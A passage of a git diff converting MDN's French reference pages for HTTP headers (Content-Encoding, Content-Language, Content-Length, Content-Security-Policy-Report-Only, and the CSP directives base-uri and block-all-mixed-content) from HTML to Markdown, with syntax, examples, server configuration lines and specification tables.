Type d'en-têteEn-tête d'entité
Nom d'en-tête interditNon
Type d'en-têteEn-tête d'entité
+ Nom d'en-tête interdit + Non
-

Syntaxe

- -
Content-Encoding: gzip
-Content-Encoding: compress
-Content-Encoding: deflate
-Content-Encoding: identity
-Content-Encoding: br
-
-// Plusieurs valeurs selon l'ordre dans lequel ils ont été appliqués
-Content-Encoding: gzip, identity
-Content-Encoding: deflate, gzip
-
- -

Directives

- -
-
gzip
-
Un format utilisant le codage Lempel-Ziv (LZ77), avec un CRC de 32 bits. Il s'agit du format original pour le programme UNIX gzip. La norme HTTP/1.1 recommande également que les serveurs prenant en charge cet encodage reconnaissent x-gzip comme alias, à des fins de compatibilité.
-
compress
-
Un format utilisant l'algorithme Lempel-Ziv-Welch (LZW). Le nom de la valeur a été tiré du programme de compression UNIX, qui a mis en œuvre cet algorithme. Comme le programme de compression, qui a disparu de la plupart des distributions UNIX, ce codage de contenu n'est pas utilisé par de nombreux navigateurs aujourd'hui, en partie à cause d'un problème de brevet (il a expiré en 2003).
-
deflate
-
Utilisant la structure zlib (définie dans la RFC 1950) avec l'algorithme de compression deflate (défini dans la RFC 1951).
-
identity
-
Indicates the identity function (c'est-à-dire qu'il n'y a eu aucune compression ou modification). Sauf mention contraire, cette valeur est toujours considérée comme acceptable.
-
br
-
Un format utilisant l'algorithme de Brotli.
-
- -

Exemples

- -

Compression avec gzip

- -

Côté client, on peut fournir la liste des mécanismes de compression pris en charge en envoyant l'en-tête {{HTTPHeader("Accept-Encoding")}} lors de la négociation de l'encodage.

- -
Accept-Encoding: gzip, deflate
- -

Le serveur répondra avec le schéma utilisé avec l'en-tête de réponse Content-Encoding.

- -
Content-Encoding: gzip
- -

À noter que le serveur n'est pas obligé d'utiliser de méthode de compression. La compression dépend fortement des paramètres du serveur et des modules de serveur utilisés.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - -
SpécificationTitre
{{RFC("7932", "Brotli Compressed Data Format")}}Brotli Compressed Data Format
{{RFC("7231", "Content-Encoding", "3.1.2.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
{{RFC("2616", "Content-Encoding", "14.11")}}Content-Encoding
+## Syntaxe + + Content-Encoding: gzip + Content-Encoding: compress + Content-Encoding: deflate + Content-Encoding: identity + Content-Encoding: br + + // Plusieurs valeurs selon l'ordre dans lequel ils ont été appliqués + Content-Encoding: gzip, identity + Content-Encoding: deflate, gzip + +## Directives + +- `gzip` + - : Un format utilisant le [codage Lempel-Ziv](http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77) (LZ77), avec un CRC de 32 bits. Il s'agit du format original pour le programme UNIX _gzip_. La norme HTTP/1.1 recommande également que les serveurs prenant en charge cet encodage reconnaissent `x-gzip` comme alias, à des fins de compatibilité. +- `compress` + - : Un format utilisant l'algorithme [Lempel-Ziv-Welch](http://en.wikipedia.org/wiki/LZW) (LZW). Le nom de la valeur a été tiré du programme de compression UNIX, qui a mis en œuvre cet algorithme. Comme le programme de compression, qui a disparu de la plupart des distributions UNIX, ce codage de contenu n'est pas utilisé par de nombreux navigateurs aujourd'hui, en partie à cause d'un problème de brevet (il a expiré en 2003). +- `deflate` + - : Utilisant la structure [zlib](http://en.wikipedia.org/wiki/Zlib) (définie dans la [RFC 1950](http://tools.ietf.org/html/rfc1950)) avec l'algorithme de compression _[deflate](http://en.wikipedia.org/wiki/DEFLATE) _(défini dans la [RFC 1951](http://tools.ietf.org/html/rfc1951)). +- `identity` + - : Indicates the identity function (c'est-à-dire qu'il n'y a eu aucune compression ou modification). Sauf mention contraire, cette valeur est toujours considérée comme acceptable. +- `br` + - : Un format utilisant l'algorithme de [Brotli](https://en.wikipedia.org/wiki/Brotli). + +## Exemples + +### Compression avec gzip + +Côté client, on peut fournir la liste des mécanismes de compression pris en charge en envoyant l'en-tête {{HTTPHeader("Accept-Encoding")}} lors de la négociation de l'encodage. + + Accept-Encoding: gzip, deflate + +Le serveur répondra avec le schéma utilisé avec l'en-tête de réponse `Content-Encoding`. + + Content-Encoding: gzip + +À noter que le serveur n'est pas obligé d'utiliser de méthode de compression. La compression dépend fortement des paramètres du serveur et des modules de serveur utilisés. + +## Spécifications + +| Spécification | Titre | +| ---------------------------------------------------------------- | ------------------------------------------------------------- | +| {{RFC("7932", "Brotli Compressed Data Format")}} | Brotli Compressed Data Format | +| {{RFC("7231", "Content-Encoding", "3.1.2.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content | +| {{RFC("2616", "Content-Encoding", "14.11")}} | Content-Encoding | -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{Compat("http.headers.Content-Encoding")}}

+{{Compat("http.headers.Content-Encoding")}} -

Voir aussi

+## Voir aussi -
    -
  • {{HTTPHeader("Accept-Encoding")}}
    • -
  • {{HTTPHeader("Transfer-Encoding")}}
    • -
+- {{HTTPHeader("Accept-Encoding")}} +- {{HTTPHeader("Transfer-Encoding")}} diff --git a/files/fr/web/http/headers/content-language/index.md b/files/fr/web/http/headers/content-language/index.md index 002c307908..3430f8620e 100644 --- a/files/fr/web/http/headers/content-language/index.md +++ b/files/fr/web/http/headers/content-language/index.md @@ -9,99 +9,92 @@ tags: - Reference translation_of: Web/HTTP/Headers/Content-Language --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'en-tête Content-Language  est utilisé pour décrire quels langages sont destinés au public, de sorte que cela permette à l'utilisateur de se différencier en fonction de la langue préférée des utilisateurs.

+L'en-tête **`Content-Language`**  est utilisé pour décrire quels langages sont destinés au public, de sorte que cela permette à l'utilisateur de se différencier en fonction de la langue préférée des utilisateurs. -

Par exemple, si "Content-Language: de-DE" est mis en place, cela signifie que la page est destinée à un public parlant l'allemand (par contre, cela n'indique pas que la page est écrite en allemand. Par exemple, elle pourrait être écrite en anglais dans le cadre d'un cours de langue destiné aux allemands).

+Par exemple, si "`Content-Language: de-DE`" est mis en place, cela signifie que la page est destinée à un public parlant l'allemand (par contre, cela n'indique pas que la page est écrite en allemand. Par exemple, elle pourrait être écrite en anglais dans le cadre d'un cours de langue destiné aux allemands). -

Si l'en-tête Content-Language n'est pas spécifié, par défaut, cela signifie que la page est destinée à tout public de langue. Plusieurs tags de langue sont également possibles, ainsi que la mise en place de l'en-tête Content-Language pour dfférents types de médias, et pas seulement pour les documents texte.

+Si l'en-tête `Content-Language` n'est pas spécifié, par défaut, cela signifie que la page est destinée à tout public de langue. Plusieurs tags de langue sont également possibles, ainsi que la mise en place de l'en-tête `Content-Language` pour dfférents types de médias, et pas seulement pour les documents texte. - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + +
Type d'en-tête{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}Non
{{Glossary("Simple response header", "CORS-safelisted response-header")}}Oui
{{Glossary("Simple header", "CORS-safelisted request-header")}}Oui, avec comme restriction supplémentaire que les valeurs ne peuvent contenir que les caractères 0-9, A-Z, a-z, l'espace ou *,-.;=.
Type d'en-tête{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}Non
+ {{Glossary("Simple response header", "CORS-safelisted response-header")}} + Oui
+ {{Glossary("Simple header", "CORS-safelisted request-header")}} + + Oui, avec comme restriction supplémentaire que les valeurs ne peuvent + contenir que les + caractères 0-9, A-Z, a-z, + l'espace ou *,-.;=. +
-

Syntaxe

+## Syntaxe -
Content-Language: de-DE
-Content-Language: en-US
-Content-Language: de-DE, en-CA
-
+ Content-Language: de-DE + Content-Language: en-US + Content-Language: de-DE, en-CA -

Directives

+## Directives -
-
language-tag
-
Plusieurs tags de langue sont séparés par paragraphe. Chaque tag de langue est une séquence d'un ou plusieurs sous-tags insensibles à la casse, chacun séparé par un tiret ("-", %x2D). Dans la plupart des cas, un tag de langue se compose d'un sous-tag de langue principal qui identifie une large famille de langues connexes (par exemple, «en» = anglais), suivi éventuellement d'une série de sous-tags qui affinent ou réduisent la variété de langue. (par exemple, "en-CA" = la variété d'anglais telle que communiquée au Canada).
-
+- `language-tag` + - : Plusieurs tags de langue sont séparés par paragraphe. Chaque tag de langue est une séquence d'un ou plusieurs sous-tags insensibles à la casse, chacun séparé par un tiret ("`-`", `%x2D`). Dans la plupart des cas, un tag de langue se compose d'un sous-tag de langue principal qui identifie une large famille de langues connexes (par exemple, «en» = anglais), suivi éventuellement d'une série de sous-tags qui affinent ou réduisent la variété de langue. (par exemple, "en-CA" = la variété d'anglais telle que communiquée au Canada). -
-

Note : Les tags de langues sont formellement définis dans la RFC 5646, qui repose sur la norme ISO 639 (très souvent la liste de codes ISO 639-1) pour les codes de langue à utiliser.

-
+> **Note :** Les tags de langues sont formellement définis dans la RFC 5646, qui repose sur la norme ISO 639 (très souvent la liste de codes ISO 639-1) pour les codes de langue à utiliser. -

Exemples

+## Exemples -

Indiquer la langue dans laquelle un document est écrit

+### Indiquer la langue dans laquelle un document est écrit -

L'attribut global lang est utilisé sur des éléments HTML pour indiquer la langue d'une page HTML entière ou une partie de celle-ci.

+L'attribut global [`lang`](/fr/docs/Web/HTML/Global_attributes/lang) est utilisé sur des éléments HTML pour indiquer la langue d'une page HTML entière ou une partie de celle-ci. -
<html lang="de">
+```html + +``` -

N'utilisez pas le meta tag comme ceci pour déclarer la langue d'un document:

+**N'utilisez pas** le meta tag comme ceci pour déclarer la langue d'un document: -
<!-- /!\ C'est une mauvaise pratique -->
-<meta http-equiv="content-language" content="de">
+```html example-bad + + +``` -

Indiquer un public cible pour une ressource

+### Indiquer un public cible pour une ressource -

L'en-tête Content-Language est utilisé pour spécifier le public destiné à la page, et peut indiquer si cela est plus qu'une seule langue.

+L'en-tête `Content-Language` est utilisé pour spécifier le public destiné à la page, et peut indiquer si cela est plus qu'une seule langue. -
Content-Language: de, en
+ Content-Language: de, en -

Spécifications

+## Spécifications - - - - - - - - - - - -
SpécificationTitre
{{RFC("7231", "Content-Language", "3.1.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Sémantiques et Contenu
+| Spécification | Titre | +| ------------------------------------------------------------ | -------------------------------------------------------------- | +| {{RFC("7231", "Content-Language", "3.1.3.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Sémantiques et Contenu | -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{Compat("http.headers.Content-Language")}}

+{{Compat("http.headers.Content-Language")}} -

Voir également

+## Voir également - +- {{HTTPHeader("Accept-Language")}} +- [HTTP headers, meta elements and language information](https://www.w3.org/International/questions/qa-http-and-lang.en) +- [HTML `lang` attribute](/fr/docs/Web/HTML/Global_attributes/lang) diff --git a/files/fr/web/http/headers/content-length/index.md b/files/fr/web/http/headers/content-length/index.md index 91f5d30ca8..f781431ef7 100644 --- a/files/fr/web/http/headers/content-length/index.md +++ b/files/fr/web/http/headers/content-length/index.md @@ -7,56 +7,42 @@ tags: - header translation_of: Web/HTTP/Headers/Content-Length --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'en-tête (header) Content-Length indique la taille en octets (exprimée en base 10) du corps de la réponse envoyée au client.

+L'en-tête (_header_) **`Content-Length`** indique la taille en octets (exprimée en base 10) du corps de la réponse envoyée au client. - - - - - - - - - - + + + + + + + + + +
Type d'en-tête{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}oui
Type d'en-tête{{Glossary("Entity header")}}
{{Glossary("Forbidden header name")}}oui
-

Syntaxe

+## Syntaxe -
Content-Length: <longueur>
-
+ Content-Length: -

Directives

+## Directives -
-
<longueur>
-
La longueur en octet (en base 10).
-
+- \ + - : La longueur en octet (en base 10). -

Spécifications

+## Spécifications - - - - - - - - - - - -
SpécificationTitre
{{RFC("7230", "Content-Length", "3.3.2")}}Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing
+| Spécification | Titre | +| -------------------------------------------------------- | ------------------------------------------------------------------ | +| {{RFC("7230", "Content-Length", "3.3.2")}} | Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing | -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{Compat("http/headers/content-length")}}

+{{Compat("http/headers/content-length")}} -

Voir aussi

+## Voir aussi -
    -
  • {{HTTPHeader("Transfer-Encoding")}}
    • -
+- {{HTTPHeader("Transfer-Encoding")}} diff --git a/files/fr/web/http/headers/content-security-policy-report-only/index.md b/files/fr/web/http/headers/content-security-policy-report-only/index.md index 7524dab5f1..50efce60fb 100644 --- a/files/fr/web/http/headers/content-security-policy-report-only/index.md +++ b/files/fr/web/http/headers/content-security-policy-report-only/index.md @@ -12,100 +12,99 @@ tags: - header translation_of: Web/HTTP/Headers/Content-Security-Policy-Report-Only --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

L'en-tête de réponse HTTP Content-Security-Policy-Report-Only permet aux développeurs web d'expérimenter avec les règles CSP en contrôlant leur application sans bloquer de contenu. Ces rapports de violations sont constitués d'un document {{Glossary("JSON")}} envoyé via une requête HTTP POST à l'URI spécifiée.

+L'en-tête de réponse HTTP **`Content-Security-Policy-Report-Only`** permet aux développeurs web d'expérimenter avec les règles CSP en contrôlant leur application sans bloquer de contenu. Ces rapports de violations sont constitués d'un document {{Glossary("JSON")}} envoyé via une requête HTTP `POST` à l'URI spécifiée. -

Pour plus d'informations, voir aussi cet article sur les Content Security Policy (CSP).

+Pour plus d'informations, voir aussi cet article sur les [Content Security Policy (CSP)](/en-US/docs/Web/HTTP/CSP). - - - - - - - - - - - - - + + + + + + + + + + + + +
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
Cet en-tête n'est pas supporté au sein d'un élément {{HTMLElement("meta")}}.
Type d'en-tête{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}non
+ Cet en-tête n'est pas supporté au sein d'un élément + {{HTMLElement("meta")}}. +
-

Syntaxe

+## Syntaxe -
Content-Security-Policy-Report-Only: <policy-directive>; <policy-directive>
-
+ Content-Security-Policy-Report-Only: ; -

Directives

+## Directives -

Les directives de l'en-tête {{HTTPHeader("Content-Security-Policy")}} peuvent aussi être appliquées à l'en-tête Content-Security-Policy-Report-Only.

+Les directives de l'en-tête {{HTTPHeader("Content-Security-Policy")}} peuvent aussi être appliquées à l'en-tête `Content-Security-Policy-Report-Only`. -

La directive CSP {{CSP("report-uri")}} doit être utilisée avec celui-ci, ou définir cet en-tête ne servirait à rien puisqu'aucun rapport ne serait envoyé.

+La directive CSP {{CSP("report-uri")}} doit être utilisée avec celui-ci, ou définir cet en-tête ne servirait à rien puisqu'aucun rapport ne serait envoyé. -

Exemples

+## Exemples -

Cet en-tête rapporte les violations qui seront constatées. Vous pouvez l'utiliser pour améliorer vos CSP. Vous pouvez observer comment votre site fonctionne en consultant les rapports ou redirections malicieuses, puis choisir les règles voulues pour bloquer le contenu avec l'en-tête {{HTTPHeader("Content-Security-Policy")}}.

+Cet en-tête rapporte les violations qui seront constatées. Vous pouvez l'utiliser pour améliorer vos CSP. Vous pouvez observer comment votre site fonctionne en consultant les rapports ou [redirections malicieuses](https://secure.wphackedhelp.com/blog/wordpress-malware-redirect-hack-cleanup/), puis choisir les règles voulues pour bloquer le contenu avec l'en-tête {{HTTPHeader("Content-Security-Policy")}}. -
Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/
+ Content-Security-Policy-Report-Only: default-src https:; report-uri /csp-violation-report-endpoint/ -

Si vous voulez toujours recevoir des rapports, mais aussi imposer des règles, utilisez l'en-tête {{HTTPHeader("Content-Security-Policy")}} avec la directive {{CSP("report-uri")}}.

+Si vous voulez toujours recevoir des rapports, mais aussi imposer des règles, utilisez l'en-tête {{HTTPHeader("Content-Security-Policy")}} avec la directive {{CSP("report-uri")}}. -
Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/
+ Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/ -

Syntaxe d'un rapport de violation

+## Syntaxe d'un rapport de violation -

L'objet de rapport JSON contient les informations suivantes :

+L'objet de rapport JSON contient les informations suivantes : -
-
blocked-uri
-
L'URI de la ressource dont le chargement a été bloqué par les règles Content Security Policy. Si l'URI bloquée est d'une origine différente que celle du document (document-uri), alors l'URI bloquée est tronquée pour contenir uniquement le schéma, l'hôte et le port.
-
disposition
-
Soit "enforce", soit "report", selon que l'en-tête qui a déclenché l'envoi du rapport est {{HTTPHeader("Content-Security-Policy")}} ou Content-Security-Policy-Report-Only.
-
document-uri
-
L'URI du document dans lequel la violation a eu lieu.
-
effective-directive
-
La directive qui a causé la violation.
-
original-policy
-
La règle originale telle que spécifiée par l'en-tête Content-Security-Policy-Report-Only.
-
referrer
-
Le référent du document dans lequel la violation a eu lieu.
-
script-sample
-
Les 40 premiers caractères du script embarqué, du gestionnaire d'évènements par attribut ou de la feuille de style qui a causé la violation.
-
status-code
-
Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié.
-
violated-directive
-
Le nom de la directive qui a été violée.
-
+- `blocked-uri` + - : L'URI de la ressource dont le chargement a été bloqué par les règles Content Security Policy. Si l'URI bloquée est d'une origine différente que celle du document (`document-uri`), alors l'URI bloquée est tronquée pour contenir uniquement le schéma, l'hôte et le port. +- `disposition` + - : Soit `"enforce"`, soit `"report"`, selon que l'en-tête qui a déclenché l'envoi du rapport est {{HTTPHeader("Content-Security-Policy")}} ou `Content-Security-Policy-Report-Only`. +- `document-uri` + - : L'URI du document dans lequel la violation a eu lieu. +- `effective-directive` + - : La directive qui a causé la violation. +- `original-policy` + - : La règle originale telle que spécifiée par l'en-tête `Content-Security-Policy-Report-Only`. +- `referrer` + - : Le référent du document dans lequel la violation a eu lieu. +- `script-sample` + - : Les 40 premiers caractères du script embarqué, du gestionnaire d'évènements par attribut ou de la feuille de style qui a causé la violation. +- `status-code` + - : Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié. +- `violated-directive` + - : Le nom de la directive qui a été violée. -

Extrait de rapport de violation

+## Extrait de rapport de violation -
Considérons une page à l'adresse http://example.com/signup.html. Elle utilise la règle CSP suivante, interdisant tout excepté les feuilles de styles chargées depuis cdn.example.com.
+Considérons une page à l'adresse `http://example.com/signup.html`. Elle utilise la règle CSP suivante, interdisant tout excepté les feuilles de styles chargées depuis `cdn.example.com`. -
-
Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports
-
+ Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports -
La page HTML correspondant à l'adresse signup.html ressemble à :
+La page HTML correspondant à l'adresse `signup.html` ressemble à : -
<!DOCTYPE html>
-<html>
-  <head>
-    <title>Sign Up</title>
-    <link rel="stylesheet" href="css/style.css">
-  </head>
-  <body>
+```html
+
+
+  
+    Sign Up
+    
+  
+  
     ... Content ...
-  </body>
-</html>
+ + +``` -
Avez-vous identifié une violation ?
+Avez-vous identifié une violation ?Les feuilles de styles ne sont acceptées que si elles sont chargées depuis `cdn.example.com`, et pourtant le site tente d'en charger une depuis sa propre origine (`http://example.com`). Un navigateur capable d'imposer des règles CSP enverra le rapport de violation suivant sous la forme d'une requête POST à l'adresse `http://example.com/_/csp-reports` quand la page sera visitée : -
Les feuilles de styles ne sont acceptées que si elles sont chargées depuis cdn.example.com, et pourtant le site tente d'en charger une depuis sa propre origine (http://example.com). Un navigateur capable d'imposer des règles CSP enverra le rapport de violation suivant sous la forme d'une requête POST à l'adresse http://example.com/_/csp-reports quand la page sera visitée :
- -
{
+```js
+{
   "csp-report": {
     "document-uri": "http://example.com/signup.html",
     "referrer": "",
@@ -114,43 +113,25 @@ translation_of: Web/HTTP/Headers/Content-Security-Policy-Report-Only
     "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports",
     "disposition": "report"
   }
-}
- -

Comme vous le voyez, la rapport inclut le chemin complet de la ressource à l'origine de la violaton dans la propriété blocked-uri. Ce n'est pas toujours le cas. Par exemple, quand la page signup.html essaiera de charger un CSS depuis http://anothercdn.example.com/stylesheet.css, le navigateur n'inclura pas le chemin complet mais seulement son origine (http://anothercdn.example.com). Cela est fait pour empêcher les fuites d'informations sensibles à propos de ressources externes.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1")}}{{Spec2('CSP 1.1')}}Définition initiale.
+} +``` + +Comme vous le voyez, la rapport inclut le chemin complet de la ressource à l'origine de la violaton dans la propriété `blocked-uri`. Ce n'est pas toujours le cas. Par exemple, quand la page `signup.html` essaiera de charger un CSS depuis `http://anothercdn.example.com/stylesheet.css`, le navigateur n'inclura pas le chemin complet mais seulement son origine (`http://anothercdn.example.com`). Cela est fait pour empêcher les fuites d'informations sensibles à propos de ressources externes. + +## Spécifications + +| Spécification | Statut | Commentaire | +| -------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{Compat("http.headers.Content-Security-Policy-Report-Only")}}

+{{Compat("http.headers.Content-Security-Policy-Report-Only")}} -

Voir aussi

+## Voir aussi - +- {{HTTPHeader("Content-Security-Policy")}} +- CSP {{CSP("report-uri")}} directive +- [Content Security in WebExtensions](/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy) +- [Display security and privacy policies In Firefox Developer Tools](/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies) diff --git a/files/fr/web/http/headers/content-security-policy/base-uri/index.md b/files/fr/web/http/headers/content-security-policy/base-uri/index.md index 714cfb2f7b..87d7c5c3a4 100644 --- a/files/fr/web/http/headers/content-security-policy/base-uri/index.md +++ b/files/fr/web/http/headers/content-security-policy/base-uri/index.md @@ -12,98 +12,88 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/base-uri --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) base-uri restreint les URL qui peuvent être utilisées comme valeur d'un élément {{HTMLElement("base")}}. Si cette valeur est absente, alors toutes les adresses sont autorisées. Si cette directive est absente, l'agent utilisateur va utiliser la valeur dans l'élément {{HTMLElement("base")}}.

+La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`base-uri`** restreint les URL qui peuvent être utilisées comme valeur d'un élément {{HTMLElement("base")}}. Si cette valeur est absente, alors toutes les adresses sont autorisées. Si cette directive est absente, l'agent utilisateur va utiliser la valeur dans l'élément {{HTMLElement("base")}}. - - - - - - - - - - - - - - + + + + + + + + + + + + + +
Version de CSP2
Type de directive{{Glossary("Document directive")}}
{{CSP("default-src")}} par défautNon, ne pas la définir autorise toutes les URL
Version de CSP2
Type de directive{{Glossary("Document directive")}}
{{CSP("default-src")}} par défautNon, ne pas la définir autorise toutes les URL
-

Syntaxe

+## Syntaxe -

Une ou plusieurs sources peuvent être autorisées pour cette directive :

+Une ou plusieurs _sources_ peuvent être autorisées pour cette directive : -
Content-Security-Policy: base-uri <source>;
-Content-Security-Policy: base-uri <source> <source>;
-
+ Content-Security-Policy: base-uri ; + Content-Security-Policy: base-uri ; -

Sources

+### Sources -

Bien que cette directive utilise les mêmes arguments que d'autres directives CSP, certains d'entre eux n'ont pas de sens concernant l'élément {{HTMLElement("base")}}, comme les valeurs 'unsafe-inline' et 'strict-dynamic'

+Bien que cette directive utilise les mêmes arguments que d'autres directives CSP, certains d'entre eux n'ont pas de sens concernant l'élément {{HTMLElement("base")}}, comme les valeurs `'unsafe-inline'` et `'strict-dynamic'` -

{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}

+{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}} -

Exemples

+## Exemples -

Configuration par balise <meta>

+### Configuration par balise \ -
<meta http-equiv="Content-Security-Policy" content="base-uri 'self'">
+```html + +``` -

Configuration par Apache

+### Configuration par Apache -
<IfModule mod_headers.c>
+```bash
+
 Header set Content-Security-Policy "base-uri 'self'";
-</IfModule>
+ +``` -

Configuration par Nginx

+### Configuration par Nginx -
add_header Content-Security-Policy "base-uri 'self';"
+```bash +add_header Content-Security-Policy "base-uri 'self';" +``` -

Cas de violation

+### Cas de violation -

À partir du moment où votre domaine n'est pas example.com, un élément {{HTMLElement("base")}} avec son attribut href défini à https://example.com résultera en une violation de CSP.

+À partir du moment où votre domaine n'est pas `example.com`, un élément {{HTMLElement("base")}} avec son attribut `href` défini à `https://example.com` résultera en une violation de CSP. -
<meta http-equiv="Content-Security-Policy" content="base-uri 'self'">
-<base href="https://example.com/">
+```html example-bad
+
+
 
 // Error: Refused to set the document's base URI to 'https://example.com/'
 // because it violates the following Content Security Policy
-// directive: "base-uri 'self'"
- -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{specName("CSP 3.0", "#directive-base-uri", "base-uri")}}{{Spec2('CSP 3.0')}}Inchangé.
{{specName("CSP 1.1", "#directive-base-uri", "base-uri")}}{{Spec2('CSP 1.1')}}Définition initiale.
+// directive: "base-uri 'self'" +``` + +## Spécifications + +| Spécification | Statut | Commentaire | +| ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-base-uri", "base-uri")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-base-uri", "base-uri")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -

Compatibilité des navigateurs

+## Compatibilité des navigateurs -

{{Compat("http.headers.csp.base-uri")}}

+{{Compat("http.headers.csp.base-uri")}} -

Voir aussi

+## Voir aussi -
    -
  • {{HTTPheader("Content-Security-Policy")}}
    • -
  • {{HTMLElement("base")}}
    • -
  • {{domxref("Node.baseURI")}}
    • -
+- {{HTTPheader("Content-Security-Policy")}} +- {{HTMLElement("base")}} +- {{domxref("Node.baseURI")}} diff --git a/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md b/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md index 92897ebaf9..02b2d4f27a 100644 --- a/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md +++ b/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md @@ -13,56 +13,40 @@ tags: - block-all-mixed-content translation_of: Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content --- -
{{HTTPSidebar}}
+{{HTTPSidebar}} -

La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) block-all-mixed-content bloque le chargement de ressources via HTTP lorsque la page utilise HTTPS.

+La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`block-all-mixed-content`** bloque le chargement de ressources via HTTP lorsque la page utilise HTTPS. -

Toutes les requêtes vers des contenus mixtes sont alors bloquées, y compris les ressources actives et passives. Cela s'applique aussi aux documents {{HTMLElement("iframe")}}, assurant que la page est complètement protégée contre les contenus mixtes.

+Toutes les requêtes vers des [contenus mixtes](/fr/docs/Sécurité/MixedContent) sont alors bloquées, y compris les ressources actives et passives. Cela s'applique aussi aux documents {{HTMLElement("iframe")}}, assurant que la page est complètement protégée contre les contenus mixtes. -
-

Note : La directive {{CSP("upgrade-insecure-requests")}} est évaluée avant block-all-mixed-content. Si elle est définie, alors block-all-mixed-content n'est pas nécessaire, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP.

-
+> **Note :** La directive {{CSP("upgrade-insecure-requests")}} est évaluée avant `block-all-mixed-content`. Si elle est définie, alors `block-all-mixed-content` n'est pas nécessaire, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP. -

Syntaxe

+## Syntaxe -
Content-Security-Policy: block-all-mixed-content;
+ Content-Security-Policy: block-all-mixed-content; -

Exemples

+## Exemples -
Content-Security-Policy: block-all-mixed-content;
+    Content-Security-Policy: block-all-mixed-content;
 
-<meta http-equiv="Content-Security-Policy" content="block-all-mixed-content">
-
+ -

Pour interdire l'usage de HTTP de manière plus fine, vous pouvez aussi configurer individuellement chaque directive sur https:. Par exemple, pour interdire les images HTTP non sécurisées :

+Pour interdire l'usage de HTTP de manière plus fine, vous pouvez aussi configurer individuellement chaque directive sur `https:`. Par exemple, pour interdire les images HTTP non sécurisées : -
Content-Security-Policy: img-src https:
+ Content-Security-Policy: img-src https: -

Spécifications

+## Spécifications - - - - - - - - - - - - - -
SpecificationStatutCommentaire
{{specName("Mixed Content", "#block-all-mixed-content", "block-all-mixed-content")}}{{Spec2('Mixed Content')}}Définition initiale.
+| Specification | Statut | Commentaire | +| ---------------------------------------------------------------------------------------------------------------- | ------------------------------------ | -------------------- | +| {{specName("Mixed Content", "#block-all-mixed-content", "block-all-mixed-content")}} | {{Spec2('Mixed Content')}} | Définition initiale. | -

Compatibilités navigateurs

+## Compatibilités navigateurs -

{{Compat("http.headers.csp.block-all-mixed-content")}}

+{{Compat("http.headers.csp.block-all-mixed-content")}} -

Voir également

+## Voir également -
    -
  • {{HTTPHeader("Content-Security-Policy")}}
    • -
  • {{CSP("upgrade-insecure-requests")}}
    • -
  • Mixed content
    • -
+- {{HTTPHeader("Content-Security-Policy")}} +- {{CSP("upgrade-insecure-requests")}} +- [Mixed content](/en-US/docs/Web/Security/Mixed_content) diff --git a/files/fr/web/http/headers/content-security-policy/child-src/index.md b/files/fr/web/http/headers/content-security-policy/child-src/index.md index 8cf2d1ab7a..6e2c72d712 100644 --- a/files/fr/web/http/headers/content-security-policy/child-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/child-src/index.md @@ -14,85 +14,74 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/child-src --- -
